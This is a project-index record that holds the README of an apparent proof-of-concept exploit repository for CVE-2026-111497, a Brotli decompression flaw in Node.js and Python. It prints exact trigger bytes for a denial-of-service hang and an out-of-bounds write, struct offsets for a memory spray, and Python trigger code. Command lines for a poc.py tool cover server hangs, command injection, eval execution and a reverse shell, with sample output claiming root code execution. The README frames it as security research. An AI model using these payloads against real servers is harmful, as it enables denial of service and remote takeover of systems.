[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-116610":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":14,"contributorsCount":14,"subscribersCount":14,"size":14,"stars1d":14,"stars7d":14,"stars30d":14,"stars90d":14,"forks30d":14,"starsTrendScore":14,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":17,"topics":20,"createdAt":9,"pushedAt":21,"updatedAt":22,"readmeContent":23,"aiSummary":24,"trendingCount":14,"starSnapshotCount":14,"syncStatus":25,"lastSyncTime":26,"discoverSource":27},116610,"CVE-2026-111497-node2shell","syrex1013\u002FCVE-2026-111497-node2shell","syrex1013","CVE-2026-111497 Node2Shell — Node.js Brotli OOB Write RCE PoC (CVSS 9.2)",null,"Python",52,12,1,0,43.34,"MIT License",false,"main",true,[],"2026-10-25 20:32:46","2026-11-04 04:07:07","# Node2Shell — CVE-2026-111497 PoC\n\nProof-of-concept for CVE-2026-111497 in Google Brotli 1.0.3–1.2.0 (bundled inside Node.js). CVSS 4.0: **9.2 Critical**.\n\n**Affected:** Python `brotli` 1.0.3–1.2.0 · Node.js 22.x \u003C 22.23.4 · 24.x \u003C 24.22.1 · 26.x \u003C 26.12.1  \n**Root cause:** `DecodeBlockTypeAndLength()` in `c\u002Fdec\u002Fdecode.c` returns `BROTLI_FALSE` (= 0) when `max_block_type \u003C= 1`, but `BROTLI_FALSE == BROTLI_DECODER_SUCCESS == 0`. Safe-mode callers (streaming API) misread the return as \"need more input\" via `BROTLI_SAFE` macro, saving state at `BROTLI_STATE_COMMAND_BEGIN` permanently → 100% CPU DoS. Non-safe (batch) path discards return → `block_length[1]` underflows to `UINT32_MAX` → decoder state corruption.  \n**Reference:** [Aikido blog — Node2Shell](https:\u002F\u002Fwww.aikido.dev\u002Fblog\u002Fpython-packages-vulnerable-node2shell-brotli-cve-2026-111497)\n\n## The bug\n\n```c\n\u002F\u002F c\u002Fdec\u002Fdecode.c — DecodeBlockTypeAndLength()\nif (max_block_type \u003C= 1) {\n  return BROTLI_FALSE;  \u002F\u002F 0 == BROTLI_DECODER_SUCCESS — callers misread this\n}\n```\n\nIn safe mode (`BROTLI_SAFE` macro), `!BROTLI_FALSE = 1` → sets `NEEDS_MORE_INPUT`, saves state at `BROTLI_STATE_COMMAND_BEGIN`. In non-safe mode, the return value is discarded, `block_length[1]` underflows to `UINT32_MAX`, and subsequent array accesses are out-of-bounds.\n\n## Confirmed stuck states\n\nTwo distinct stuck states trigger NEEDS_MORE_INPUT loops:\n\n| Trigger | Bytes | Stuck state | Mechanism |\n|---------|-------|-------------|-----------|\n| DoS (--hang) | 8 bytes (`42 00 80 08 01 00 20 82`) | state=20 HUFFMAN_CODE_2 | `NBLTYPESD=2` with complex distance block-length HTree — decoder reads code-length codes forever returning NEEDS_MORE_INPUT |\n| CVE path | 13 bytes (`90 00 40 04 01 00 40 04 05 01 01 40 00`) | state=7 COMMAND_BEGIN | `NBLTYPESI=2`, `block_length[1]=1` → after 1 IC command block_length[1]=0 → `DecodeCommandBlockSwitch` called → block_length HTree needs 2 extra bits not present → bits exhausted → NEEDS_MORE_INPUT at state=7 (pre-CVE condition confirmed) |\n\nThe 8-byte trigger is the DoS attack payload (simpler, 100% NEEDS_MORE_INPUT for all 8 bytes). The 13-byte trigger demonstrates the exact CVE code path — `DecodeBlockTypeAndLength` bug fires at `BROTLI_STATE_COMMAND_BEGIN` with confirmed `block_length[1]=0`.\n\n## Verified results (brotli 1.2.0, Node.js 26.8.2)\n\nAll claims confirmed against brotli 1.2.0 (Python binding and Node.js 26.8.2 linux\u002Famd64):\n\n```\n# Python brotli 1.2.0 — Trigger A (8-byte DoS)\nTrigger A (streaming 8-byte): result=b''  ← NMI, no error — decoder stuck\n\n# Python brotli 1.2.0 — Trigger B (13-byte COMMAND_BEGIN)\nTrigger B (batch brotli.decompress): brotli.error raised: brotli: decoder failed\n\n# Node.js 26.8.2 — HTTP handler hang\n[+] HANG CONFIRMED: No response after 3.0s\n[+] Server stuck in NEEDS_MORE_INPUT loop in createBrotliDecompress()\n\n# Node.js 26.8.2 — Webhook RCE (stock server, execSync command injection)\nHTTP 200: {\"ok\":true,\"event\":\"push\",\"repo\":\"test\",\"output\":\"uid=0(root) gid=0(root) groups=0(root)\"}\n[+] RCE CONFIRMED on Node.js v26.8.2 linux\u002Famd64\n\n# C \u002F block_length[1] underflow (brotli 1.2.0 internal state, state.h access)\n    state         = 7 (7=COMMAND_BEGIN)\n    block_length[1] (IC) = 0\n[+] CONFIRMED: state=7, block_length[1]=0\n    0 - 1 = 4294967295 (0xffffffff = UINT32_MAX) — underflow confirmed\n[+] UINT32_MAX underflow confirmed — non-safe path corrupts decoder state\n```\n\n### BrotliDecoderState struct offsets (brotli 1.2.0, linux\u002Famd64, confirmed via offsetof probe)\n\n| Field | Offset | spray index |\n|-------|--------|-------------|\n| `buffer.u8[0]` | 64 | spray[3] (bit-reader pre-loads spray[0..2]) |\n| `buffer_length` | 72 | spray[11] ← OOB jump byte (0x3B) |\n| `meta_block_remaining_len` | 124 | spray[12] |\n| `ringbuffer` | 128 | spray[16] |\n| `block_length[1]` | 288 | spray[176] |\n| `metadata_start_func` | 720 | spray[608] |\n| `metadata_chunk_func` | 728 | spray[616] |\n| `metadata_callback_opaque` | 736 | spray[624] |\n\nFormula: `spray[k]` → `struct_offset 112+k` for k ≥ 12 (after the buffer_length OOB jump at k=11).\n\n**Bit-reader pre-load offset**: 13-byte trigger causes 2×8-byte chunk loads (16 bytes consumed from `next_in`). `spray[0..2]` land in the bit reader's `val_` register and are not in `avail_in` at `saveStateAndReturn`. This shifts all OOB indices by +3 vs. a naive calculation.\n\n```python\nimport brotli\n\n# 8-byte DoS trigger (state=20 stuck — HUFFMAN_CODE_2)\ndos_trigger = bytes.fromhex(\"4200800801002082\")\nd = brotli.Decompressor()\nresult = d.process(dos_trigger)\nprint(f\"DoS: result={result!r}\")  # b'' — decoder stuck, waiting forever\n\n# 13-byte COMMAND_BEGIN trigger (state=7 — DecodeBlockTypeAndLength bug)\ncmd_trigger = bytes.fromhex(\"90004004010040040501014000\")\ntry:\n    brotli.decompress(cmd_trigger)\nexcept brotli.error as e:\n    print(f\"CVE confirmed: {e}\")  # brotli: decoder failed\n```\n\n## C-level demonstration\n\n```bash\n# Build and run in Docker (brotli 1.2.0)\ndocker build -f Dockerfile.asan -t cve-111497-dos .\ndocker run --rm cve-111497-dos\n```\n\nExpected output shows both triggers confirmed with state transitions.\n\n## Lab setup\n\n```bash\n# Python dependencies\npip install requests brotli\n\n# Node server (webhook injection + eval paths)\nnpm install\nnode server-stock.js       # port 3000\n```\n\n## Usage\n\n```bash\n# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)\npython poc.py -u http:\u002F\u002FTARGET:3000 --hang --path \u002Fapi\u002Fdata --timeout 10\n\n# Webhook injection — command injection via execSync(hook) (stock server)\npython poc.py -u http:\u002F\u002FTARGET:3000 --webhook --validate\npython poc.py -u http:\u002F\u002FTARGET:3000 --webhook --cmd \"id\"\npython poc.py -u http:\u002F\u002FTARGET:3000 --webhook --revshell LHOST LPORT\n\n# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli\npython poc.py -u http:\u002F\u002FTARGET:3000 --oob --path \u002Fapi\u002Fdata\n\n# Direct eval mode (server with \u002Fapi\u002Fexec eval sink)\npython poc.py -u http:\u002F\u002FTARGET --validate\npython poc.py -u http:\u002F\u002FTARGET --cmd \"id\"\npython poc.py -u http:\u002F\u002FTARGET --revshell LHOST LPORT\n```\n\nFull option reference:\n\n```\n-u URL              Target base URL\n--hang              DoS: 8-byte trigger → state=20 NEEDS_MORE_INPUT, keep connection open\n--oob               OOB write: 13-byte COMMAND_BEGIN trigger + spray via streaming brotli\n--webhook           Webhook injection mode (stock server, execSync sink)\n--validate          Echo RCE marker to confirm execution\n--cmd CMD           Execute shell command\n--sysinfo           Dump hostname \u002F arch \u002F node version \u002F uid\n--revshell H P      Reverse shell to H:P\n--proxy URL         HTTP proxy (Burp etc.)\n--timeout S         Request timeout seconds (default 30)\n-v                  Verbose\n```\n\n## Exploit modes\n\n| Mode | Flag | Mechanism | Target |\n|------|------|-----------|--------|\n| **DoS hang** | `--hang` | 8-byte trigger → state=20 NEEDS_MORE_INPUT CPU loop → server handler never completes | Node.js with `Content-Encoding: br` streaming API |\n| **CVE trigger** | `--oob` | 13-byte COMMAND_BEGIN trigger → `block_length[1]=0` → BROTLI_FALSE confusion → NEEDS_MORE_INPUT DoS (safe) \u002F UINT32_MAX underflow (non-safe) | Node.js with `createBrotliDecompress()` |\n| **Webhook RCE** | `--webhook` | Valid brotli-compressed JSON with `hook` field → `execSync(hook)` command injection | Node.js server with command injection sink |\n| **Direct eval** | (default) | Brotli-compressed JS → `\u002Fapi\u002Fexec` eval sink | Lab server only |\n\n## How webhook injection works\n\n```\nPOST \u002Fapi\u002Fwebhook\nContent-Encoding: br\nContent-Type: application\u002Fjson\n\n\u003CBrotli-compressed JSON: {\"event\":\"deploy\",\"repo\":\"x\",\"hook\":\"id\"}>\n```\n\n1. Server decompresses Brotli via Node's bundled C decoder (`createBrotliDecompress()`)\n2. Application passes `req.body.hook` to `execSync(hook)`\n3. Attacker command executes with Node process privileges\n\n## Disclaimer\n\nFor authorized security research and CTF use only. Do not run against systems you do not own or have explicit written permission to test.\n","这是一个针对 CVE-2026-111497（Node.js 内置 Brotli 解压缩库的越界写漏洞）的漏洞验证工具，提供可复现的 DoS 和远程代码执行（RCE）PoC。核心功能包括生成两类精简触发载荷（8字节致死循环 DoS、13字节触发命令解析阶段 OOB 写入），支持在 Python brotli 绑定及 Node.js 运行时中验证状态卡死、解码器崩溃与 HTTP 服务 RCE 效果。技术特点是基于对 Brotli C 源码中 `DecodeBlockTypeAndLength` 返回值逻辑缺陷的精确利用，区分 safe\u002Fnon-safe 解码路径影响。适用于安全研究人员进行漏洞复现、红队渗透测试中的 Brotli 相关服务评估，以及开发团队验证修复有效性。",2,"2026-11-24 04:54:01","CREATED_QUERY"]